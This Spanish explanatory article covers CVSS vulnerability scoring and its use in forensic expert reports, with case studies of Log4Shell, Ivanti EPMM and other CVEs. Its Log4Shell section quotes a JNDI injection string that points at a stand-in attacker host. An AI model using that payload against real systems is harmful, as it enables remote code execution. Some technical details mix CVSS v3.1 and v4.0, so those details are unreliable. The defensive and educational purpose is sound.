¿Qué significa una puntuación CVSS de 9.8?

Una puntuación CVSS de 9.8 sobre 10 indica una vulnerabilidad crítica que permite ejecución remota de código sin autenticación previa, a través de la red, sin interacción del usuario. Ejemplo: las vulnerabilidades CVE-2026-1281 y CVE-2026-1340 en Ivanti EPMM que comprometieron la Comisión Europea en enero de 2026 tenían CVSS 9.8.

¿Cómo se calcula la puntuación CVSS?

CVSS v4.0 evalúa múltiples métricas: vector de ataque (red/local), complejidad, privilegios requeridos, interacción del usuario, impacto en confidencialidad/integridad/disponibilidad, y alcance. La combinación genera una puntuación de 0 a 10: Bajo (0.1-3.9), Medio (4.0-6.9), Alto (7.0-8.9), Crítico (9.0-10.0).

¿Por qué es importante el CVSS en un informe pericial forense?

El CVSS permite al perito informático cuantificar objetivamente la gravedad de la vulnerabilidad explotada en un incidente. En informes periciales para tribunales, el CVSS proporciona una métrica estándar internacional que los jueces pueden entender: 'la vulnerabilidad explotada tenía una gravedad de 9.8 sobre 10, clasificada como crítica por el estándar internacional CVSS'.

CVSS: Puntuación Vulnerabilidades Ciberseguridad

CVSS 9.8: dos números que tumbaron la Comision Europea. En enero de 2026, dos vulnerabilidades criticas en Ivanti Endpoint Manager Mobile (EPMM) con puntuacion CVSS 9.8 cada una (CVE-2026-1281 y CVE-2026-1340) permitieron a atacantes comprometer la infraestructura de la Comision Europea sin necesidad de autenticacion. Cuatro anos antes, Log4Shell (CVE-2021-44228) alcanzo la puntuacion maxima de CVSS 10.0, afectando a más de 35.000 paquetes Java, el 8% de todo el repositorio Maven Central, y costando a las organizaciones afectadas más de 10.000 millones de dolares en remediacion. Detras de estas cifras hay un sistema que traduce la complejidad técnica de las vulnerabilidades en un número universal: el CVSS (Common Vulnerability Scoring System), el estandar que permite a un perito informático explicar a un juez, en un solo dato, por que una brecha de seguridad era critica y prevenible.

Definicion técnica de CVSS

El CVSS (Common Vulnerability Scoring System) es un estandar abierto y gratuito desarrollado por el Forum of Incident Response and Security Teams (FIRST) que proporciona una puntuacion numerica de 0.0 a 10.0 para evaluar la gravedad de las vulnerabilidades de seguridad informática. Actualmente en su version 4.0 (publicada en noviembre de 2023), el CVSS se ha convertido en el lenguaje universal de la industria para comunicar la severidad de fallos de seguridad.

A diferencia de una evaluacion subjetiva, el CVSS utiliza un conjunto de metricas objetivas y reproducibles que cualquier profesional de ciberseguridad puede calcular de forma independiente, obteniendo la misma puntuacion. Esto lo convierte en una herramienta imprescindible para informes periciales forenses, donde la objetividad es requisito fundamental.

Dato clave

Más del 94% de las organizaciones que gestionan vulnerabilidades utilizan CVSS como metrica principal de priorizacion, según el informe State of Vulnerability Management 2025 de Qualys. En Espana, el Centro Criptologico Nacional (CCN-CERT) y el INCIBE utilizan CVSS como estandar en todos sus avisos de seguridad.

El CVSS no mide el riesgo total de una vulnerabilidad para una organizacion concreta: mide la gravedad técnica intrinseca. El riesgo real depende además del contexto de cada organizacion: que sistemas están expuestos, que datos procesan y que controles compensatorios existen.

Metricas CVSS v4.0: como se calcula la puntuacion

La version 4.0 del CVSS introduce mejoras significativas respecto a la v3.1, incluyendo nuevos grupos de metricas y mayor granularidad. El sistema se estructura en cuatro grupos principales de metricas:

Grupo 1: Metricas Base (Base Score)

Las metricas base representan las caracteristicas intrinsecas de la vulnerabilidad que no cambian con el tiempo ni dependen del entorno. Son las más importantes y las únicas obligatorias para calcular una puntuacion CVSS.

Metrica	Valores posibles	Que mide
Vector de ataque (AV)	Network, Adjacent, Local, Physical	Como puede acceder el atacante al componente vulnerable
Complejidad de ataque (AC)	Low, High	Condiciones adicionales necesarias para explotar la vulnerabilidad
Requisitos de ataque (AT)	None, Present	Condiciones previas del sistema vulnerable (nuevo en v4.0)
Privilegios requeridos (PR)	None, Low, High	Nivel de acceso previo necesario para explotar la vulnerabilidad
Interaccion del usuario (UI)	None, Passive, Active	Si la víctima debe realizar alguna accion (v4.0 distingue pasiva/activa)
Impacto en confidencialidad (VC/SC)	None, Low, High	Perdida de confidencialidad en el sistema vulnerable y sistemas posteriores
Impacto en integridad (VI/SI)	None, Low, High	Modificacion no autorizada de datos
Impacto en disponibilidad (VA/SA)	None, Low, High	Perdida de acceso a recursos del sistema

Grupo 2: Metricas de Amenaza (Threat Metrics)

Reflejan el estado actual de explotacion de la vulnerabilidad. En CVSS v4.0, estas metricas sustituyen a las anteriores “Temporal Metrics” de la v3.1.

Metrica	Valores	Que mide
Madurez del exploit (E)	Not Defined, Attacked, POC, Unreported	Si existe exploit disponible y si hay ataques activos documentados

Grupo 3: Metricas Ambientales (Environmental Metrics)

Permiten ajustar la puntuacion al contexto específico de una organizacion. Son clave para la priorizacion interna.

Metrica	Que ajusta
Requisitos de confidencialidad (CR)	Importancia de la confidencialidad para el activo afectado
Requisitos de integridad (IR)	Importancia de la integridad para el activo
Requisitos de disponibilidad (AR)	Importancia de la disponibilidad para el activo
Metricas base modificadas	Sobreescritura de metricas base según el entorno

Grupo 4: Metricas Suplementarias (Supplemental Metrics) - Nuevo en v4.0

Metrica	Que describe
Automatizable (Automatable)	Si el ataque se puede automatizar (gusano)
Recuperacion (Recovery)	Capacidad del sistema de recuperarse tras la explotacion
Densidad de valor (Value Density)	Riqueza de datos accesibles por el atacante
Esfuerzo de respuesta (Response Effort)	Recursos necesarios para responder al incidente
Urgencia del proveedor (Provider Urgency)	Evaluacion de urgencia del propio fabricante

CVSS v4.0 vs v3.1

Muchas organizaciones y bases de datos (incluida la NVD del NIST) aun utilizan CVSS v3.1. Durante el periodo de transicion (2024-2026), un perito forense debe especificar siempre que version de CVSS esta citando en su informe pericial. Las puntuaciones v3.1 y v4.0 para la misma vulnerabilidad pueden diferir ligeramente.

Escala de severidad CVSS: que significa cada rango

La puntuacion numerica se traduce en una escala cualitativa de severidad que facilita la comunicacion con audiencias no técnicas, como jueces, abogados y directivos:

Rango	Severidad	Plazo de parcheado recomendado	Ejemplo real	CVSS
0.0	Ninguna	No requiere accion	Vulnerabilidad teorica sin impacto	0.0
0.1 - 3.9	Baja	Parchear en ciclo normal (90 días)	Divulgacion limitada de información no sensible	3.1
4.0 - 6.9	Media	Parchear en 30 días	XSS reflejado que requiere interaccion del usuario	5.4
7.0 - 8.9	Alta	Parchear en 7 días	EternalBlue (CVE-2017-0144): ejecucion remota en Windows SMB	8.1
9.0 - 10.0	Critica	Parchear en 24-72 horas	Log4Shell (CVE-2021-44228): ejecucion remota sin autenticacion	10.0

Regla practica para informes periciales

En un informe pericial, una vulnerabilidad CVSS 9.0+ sin parchear durante más de 30 días tras la publicacion del parche se considera generalmente negligencia grave. Para vulnerabilidades CVSS 7.0-8.9, el margen razonable es de 7-14 días. Para CVSS 4.0-6.9, hasta 30 días se considera aceptable según los estandares de la industria (CISA, ENISA, CCN-CERT).

Vulnerabilidades historicas con CVSS: casos reales

El CVSS cobra significado real cuando se aplica a vulnerabilidades que han causado danos medibles. Esta tabla recoge cuatro de las vulnerabilidades más impactantes de la historia reciente, con su puntuacion CVSS y consecuencias:

Vulnerabilidad	CVE	CVSS	Ano	Vector de ataque	Impacto real
Log4Shell	CVE-2021-44228	10.0	2021	Red, sin autenticacion, sin interaccion	35.000+ paquetes Java afectados. Coste de remediacion superior a 10.000M$. Explotacion activa a las 24 horas de publicacion
Ivanti EPMM	CVE-2026-1281 / CVE-2026-1340	9.8	2026	Red, sin autenticacion, sin interaccion	Comprometio la infraestructura de la Comision Europea. Acceso completo a dispositivos móviles gestionados
EternalBlue	CVE-2017-0144	8.1	2017	Red, complejidad alta	Usado por WannaCry y NotPetya. Paralizo hospitales (NHS), logistica (Maersk, 300M$ perdidas), telecomunicaciones
Heartbleed	CVE-2014-0160	7.5	2014	Red, sin autenticacion	17% de servidores web con SSL afectados. Filtracion de claves privadas, credenciales y datos sensibles de memoria

Análisis detallado: Log4Shell (CVSS 10.0)

Log4Shell es el ejemplo paradigmatico de lo que significa una puntuacion CVSS maxima. Cada metrica base contribuyo a la puntuacion perfecta de 10.0:

Metrica	Valor	Justificacion
Vector de ataque	Network	Explotable remotamente a traves de la red
Complejidad	Low	Sin condiciones especiales, trivial de explotar
Privilegios	None	No se necesita ningun acceso previo
Interaccion usuario	None	La víctima no necesita hacer nada
Impacto confidencialidad	High	Acceso total a datos del sistema
Impacto integridad	High	Modificacion completa de datos y sistema
Impacto disponibilidad	High	Denegacion completa del servicio

La consecuencia: cualquier aplicacion Java que usara la biblioteca Log4j y recibiera input de usuario (practicamente todas) podía ser comprometida remotamente con una simple cadena de texto como ${jndi:ldap://atacante.com/exploit}. La puntuacion CVSS 10.0 comunicaba de forma inequivoca: parchea ahora o seras comprometido.

Análisis detallado: Ivanti EPMM (CVSS 9.8) - Caso Comision Europea 2026

En enero de 2026, investigadores de seguridad descubrieron que dos vulnerabilidades criticas en Ivanti Endpoint Manager Mobile (EPMM) habían sido explotadas para comprometer la infraestructura de la Comision Europea. La puntuacion CVSS 9.8 (no 10.0) se debio a un único factor:

Metrica	Valor	Por que no fue 10.0
Vector de ataque	Network	Explotable remotamente
Complejidad	Low	Trivial de explotar
Privilegios	None	Sin autenticacion previa
Interaccion usuario	None	Sin interaccion
Alcance	Unchanged	Impacto limitado al componente vulnerable (sin propagacion automática)

La diferencia entre CVSS 9.8 y 10.0 es técnica (el alcance), pero en terminos practicos ambas puntuaciones exigen remediacion inmediata. Un perito forense que documente una brecha causada por una vulnerabilidad CVSS 9.8 sin parchear tiene un argumento solido de negligencia.

CVSS en investigaciones forenses: aplicacion practica

Para un perito informático, el CVSS es una herramienta fundamental que traduce complejidad técnica en un dato que jueces, abogados y aseguradoras pueden comprender. Su uso en investigaciones forenses abarca multiples dimensiones:

Escenarios donde el CVSS es determinante

Escenario forense	Rol del CVSS	Impacto en el caso
Brecha de datos con negligencia	Cuantifica la gravedad de la vulnerabilidad no parcheada	Determina si la organizacion actuo con diligencia
Reclamacion de ciberseguro	Demuestra si la vulnerabilidad era conocida y parcheada	La aseguradora puede denegar cobertura si CVSS alto y parche disponible
Sancion AEPD/RGPD	Evidencia si las medidas de seguridad eran “adecuadas al riesgo”	Agravante si CVSS critico sin parchear, atenuante si zero-day
Responsabilidad de proveedor	Evalua si el software entregado cumplia estandares de seguridad	CVSS alto en producto vendido puede ser incumplimiento contractual
Peritaje tras ransomware	Identifica el vector de entrada y su gravedad objetiva	CVSS 9.0+ sin parchear = evidencia de negligencia en informe pericial

El CVSS como lenguaje comun en sala

Cuando un perito declara ante un tribunal que “la vulnerabilidad explotada tenía una puntuacion CVSS de 9.8 sobre 10, clasificada como critica por el estandar internacional utilizado por FIRST, el NIST y el CCN-CERT”, proporciona al juez un dato objetivo, estandarizado e internacionalmente reconocido que trasciende la jerga técnica.

Pasos del análisis forense con CVSS

Identificar la vulnerabilidad explotada
Mediante el análisis de logs, trafico de red, memoria y artefactos del sistema, el perito identifica el CVE específico que fue explotado. Herramientas como Nessus, OpenVAS o el análisis manual de exploits permiten correlacionar los indicadores de compromiso (IOCs) con vulnerabilidades conocidas.
Obtener la puntuacion CVSS oficial
Consultar la puntuacion en la National Vulnerability Database (NVD) del NIST o en la base de datos de FIRST. Registrar tanto la puntuacion CVSS Base como la version utilizada (v3.1 o v4.0). Si existen diferencias entre ambas versiones, documentar las dos.
Documentar el timeline critico
Establecer la cronologia completa: fecha de descubrimiento de la vulnerabilidad, fecha de asignacion del CVE, fecha de publicacion del parche por el fabricante, fecha de aviso por organismos oficiales (CISA KEV, CCN-CERT, INCIBE), y fecha del ataque. El intervalo entre la disponibilidad del parche y el ataque es la metrica clave para evaluar diligencia.
Evaluar el estado de parcheado de la víctima
Verificar las versiones de software instaladas en los sistemas comprometidos. Comprobar el historial de actualizaciones (Windows Update, apt logs, registros de gestion de parches). Documentar si existía un proceso formal de gestion de vulnerabilidades.
Calcular el CVSS ambiental ajustado
Aplicar las metricas ambientales al contexto de la organizacion víctima. Un hospital con datos de salud (requisito de confidencialidad alto) tendra un CVSS ambiental superior al base si la vulnerabilidad afecta a la confidencialidad. Un sistema de control industrial (requisito de disponibilidad alto) tendra un CVSS ambiental mayor si la vulnerabilidad afecta a la disponibilidad.
Elaborar la conclusion pericial con CVSS como soporte
Redactar las conclusiones utilizando el CVSS como metrica objetiva. Ejemplo: “La vulnerabilidad CVE-2026-XXXX, con puntuacion CVSS 9.8 (critica), permanecio sin parchear durante 45 días tras la publicacion del parche. Según los estandares de la industria (CISA, ENISA), el plazo razonable de parcheado para vulnerabilidades criticas es de 24-72 horas. El incumplimiento de este estandar constituye, a criterio de este perito, una falta de diligencia en la gestion de la seguridad informática.”

CVSS en el marco legal espanol

El CVSS no es mencionado explicitamente en la legislacion espanola, pero su relevancia jurídica es indirecta y creciente a traves de multiples marcos normativos:

RGPD (Reglamento General de Proteccion de Datos)

El artículo 32 del RGPD exige “medidas técnicas y organizativas apropiadas para garantizar un nivel de seguridad adecuado al riesgo”. El CVSS proporciona la metrica objetiva para evaluar si las medidas eran “adecuadas”:

CVSS 9.0-10.0 sin parchear: La AEPD puede considerar que la organizacion no implemento medidas adecuadas al riesgo conocido
Parche disponible y no aplicado: Agravante en procedimiento sancionador
Zero-day: Atenuante, ya que la organizacion no tenía forma de conocer ni remediar la vulnerabilidad

La AEPD ha impuesto sanciones superiores a 500.000 EUR en casos donde las organizaciones no parchearon vulnerabilidades criticas conocidas que derivaron en brechas de datos personales.

Directiva NIS2 (transpuesta como RDL 7/2025)

La NIS2 exige a entidades esenciales e importantes que implementen “politicas de análisis de riesgos y seguridad de los sistemas de información” (Art. 21). Esto incluye:

Gestion de vulnerabilidades con priorizacion basada en CVSS
Pentesting periodico que utiliza CVSS para clasificar hallazgos
Notificacion de incidentes que involucren vulnerabilidades criticas

Código Penal: diligencia y responsabilidad

En el ambito penal, el CVSS es util para determinar:

Concepto legal	Como contribuye el CVSS
Diligencia debida	Demuestra si la organizacion conocia la gravedad del riesgo
Negligencia grave (Art. 264 CP)	CVSS critico sin parchear puede evidenciar negligencia en proteccion de datos
Responsabilidad del fabricante	CVSS alto en producto sin parche puede indicar defecto en seguridad
Atenuante	CVSS bajo o vulnerabilidad zero-day pueden atenuar responsabilidad de la víctima

Ciberseguros y CVSS

Las polizas de ciberseguro cada vez incluyen clausulas más específicas relacionadas con la gestion de vulnerabilidades:

Clausula tipica de poliza	Relacion con CVSS
”Mantener sistemas actualizados con parches criticos”	CVSS 9.0+ define que es “critico"
"Aplicar parches de seguridad en plazo razonable”	CVSS determina la urgencia del plazo
”Exclusion por vulnerabilidad conocida no parcheada”	La fecha del CVE y el CVSS prueban el conocimiento

Tendencia en ciberseguros

Desde 2024, las principales aseguradoras espanolas (Mapfre, AXA, Zurich) incluyen requisitos explicitos de gestion de vulnerabilidades en sus polizas ciber. Un informe pericial que demuestre CVSS 9.0+ sin parchear durante más de 30 días puede ser determinante para que la aseguradora deniegue la cobertura del siniestro.

Limitaciones del CVSS y metricas complementarias

El CVSS, pese a ser el estandar más utilizado, tiene limitaciones que un perito forense debe conocer:

Limitacion	Explicacion	Metrica complementaria
No mide el riesgo real	CVSS mide gravedad técnica, no probabilidad de explotacion	EPSS (Exploit Prediction Scoring System)
No considera el contexto	Sin metricas ambientales, ignora el entorno de la organizacion	SSVC (Stakeholder-Specific Vulnerability Categorization) de CISA
Puntuacion estatica	La puntuacion base no cambia, aunque aparezcan exploits	CVSS Threat Metrics + CISA KEV
Fatiga de alertas	Demasiadas vulnerabilidades “criticas” complican la priorizacion	EPSS filtra vulnerabilidades con alta probabilidad de explotacion real

EPSS (Exploit Prediction Scoring System): Desarrollado por FIRST (el mismo organismo detras de CVSS), EPSS calcula la probabilidad de que una vulnerabilidad sea explotada en los proximos 30 días, en una escala de 0 a 1. Un perito forense puede combinar CVSS (gravedad) con EPSS (probabilidad) para un análisis de riesgo más completo en su informe pericial.

Herramientas para calcular y consultar CVSS

Herramienta	Funcion	Acceso
NVD (NIST)	Base de datos oficial con puntuaciones CVSS para todos los CVE	Gratuito: nvd.nist.gov
FIRST CVSS Calculator	Calculadora oficial interactiva para CVSS v4.0 y v3.1	Gratuito: first.org/cvss/calculator
CVE.org	Base de datos de CVE gestionada por MITRE	Gratuito: cve.org
CISA KEV	Catalogo de vulnerabilidades explotadas activamente	Gratuito: cisa.gov/known-exploited-vulnerabilities
Nessus / OpenVAS	Escaneres de vulnerabilidades que calculan CVSS automaticamente	Comercial / Open-source
CCN-CERT (Espana)	Avisos de seguridad con puntuaciones CVSS para administracion publica	Gratuito: ccn-cert.cni.es

Preguntas frecuentes

Que significa una puntuacion CVSS de 9.8?

Una puntuacion CVSS de 9.8 sobre 10 indica una vulnerabilidad critica que cumple casi todas las condiciones de maxima gravedad: es explotable remotamente a traves de la red (vector Network), con complejidad baja, sin necesidad de autenticacion ni privilegios previos, y sin requerir ninguna interaccion del usuario. El impacto en confidencialidad, integridad y disponibilidad es alto.

La razon por la que alcanza 9.8 y no 10.0 suele ser el parametro de “Alcance” (Scope): en CVSS 9.8, el impacto se limita al componente vulnerable, mientras que en CVSS 10.0 (como Log4Shell), la explotacion puede afectar a componentes más alla del sistema vulnerable.

Ejemplos recientes con CVSS 9.8: las vulnerabilidades CVE-2026-1281 y CVE-2026-1340 en Ivanti EPMM que comprometieron la Comision Europea en enero de 2026, y CVE-2024-21762 en FortiOS que fue explotada masivamente para desplegar ransomware.

Como se calcula la puntuacion CVSS?

El calculo de CVSS se realiza mediante una formula matematica que combina las metricas base. El proceso es el siguiente:

Evaluar cada metrica base: Para cada una de las 8+ metricas (vector de ataque, complejidad, privilegios, interaccion del usuario, impacto en CIA), se selecciona el valor que describe la vulnerabilidad
Asignar pesos numericos: Cada valor tiene un peso predefinido por el estandar (por ejemplo, AV:Network = 0.85, AV:Local = 0.55)
Calcular sub-puntuaciones: Se combinan los pesos de explotabilidad (AV, AC, PR, UI) y los de impacto (C, I, A) en sub-puntuaciones
Aplicar la formula final: La formula combina las sub-puntuaciones con un factor de ajuste por alcance (Scope), produciendo un número entre 0.0 y 10.0
Redondear al decimal superior: El resultado se redondea a un decimal

En la practica, la mayoria de los profesionales utilizan la calculadora oficial de FIRST o las puntuaciones ya asignadas por el NIST en la NVD, en lugar de calcular manualmente. Lo importante para un perito forense es entender que significa cada metrica y como impacta en la puntuacion final, para poder explicarlo ante un tribunal.

Por que es importante el CVSS en un informe pericial forense?

El CVSS aporta cuatro valores fundamentales a un informe pericial:

Objetividad: La puntuacion es calculada mediante un estandar internacional público, no es una opinion subjetiva del perito. Cualquier otro profesional puede verificar independientemente la puntuacion
Universalidad: El CVSS es comprendido por la industria de ciberseguridad a nivel mundial. Cuando un perito cita CVSS 9.8, cualquier experto en cualquier país entiende exactamente la gravedad
Comprensibilidad judicial: Un juez sin conocimientos técnicos puede entender “9.8 sobre 10, clasificado como critico”. Es infinitamente más claro que explicar vectores de ataque, buffers overflow o inyecciones de código
Determinacion de diligencia: El CVSS, combinado con la fecha de publicacion del parche y la fecha del ataque, permite establecer de forma objetiva si la organizacion víctima actuo con la diligencia debida o fue negligente

En procedimientos judiciales espanoles, el CVSS se ha utilizado como soporte probatorio en casos de reclamaciones de ciberseguros, sanciones de la AEPD por brechas de datos, y procedimientos penales por danos informáticos donde se evalua la concurrencia de negligencia en la proteccion de sistemas.

Conceptos relacionados

CVE (Vulnerabilidades) - El sistema de identificacion de vulnerabilidades cuya gravedad mide el CVSS
Zero-Day - Vulnerabilidades sin parche cuyo CVSS suele ser alto por la ausencia de mitigaciones
Pentesting - Los informes de pentesting clasifican hallazgos por puntuacion CVSS
IOCs (Indicadores de Compromiso) - Los IOCs se correlacionan con CVEs que tienen puntuaciones CVSS asignadas
Análisis Forense Digital - Disciplina donde el CVSS contextualiza la gravedad de las vulnerabilidades explotadas

Referencias y fuentes

FIRST - “Common Vulnerability Scoring System v4.0 Specification”. first.org/cvss/v4.0/specification-document
NIST - “National Vulnerability Database (NVD)”. nvd.nist.gov
EUobserver - “EU Commission hack linked to Ivanti EPMM vulnerabilities (CVE-2026-1281, CVE-2026-1340), CVSS 9.8”. euobserver.com
Apache Foundation - “Apache Log4j Security Vulnerabilities - CVE-2021-44228, CVSS 10.0”. logging.apache.org/log4j/2.x/security
Qualys - “State of Vulnerability Management 2025: CVSS adoption exceeds 94%”. qualys.com
CISA - “Known Exploited Vulnerabilities Catalog”. cisa.gov/known-exploited-vulnerabilities-catalog
CCN-CERT - “Avisos de seguridad del Centro Criptologico Nacional”. ccn-cert.cni.es
RGPD - Reglamento (UE) 2016/679, Art. 32 sobre seguridad del tratamiento. eur-lex.europa.eu
NIS2 - Directiva (UE) 2022/2555, Art. 21 sobre medidas de gestion de riesgos de ciberseguridad. eur-lex.europa.eu
FIRST - “Exploit Prediction Scoring System (EPSS)”. first.org/epss
Maersk - “NotPetya attack: $300M in losses from unpatched EternalBlue (CVSS 8.1)”. Comunicado corporativo 2017.

Última actualizacion: Febrero 2026 Categoría: Seguridad Código: SEG-022

CVSS (Common Vulnerability Scoring System)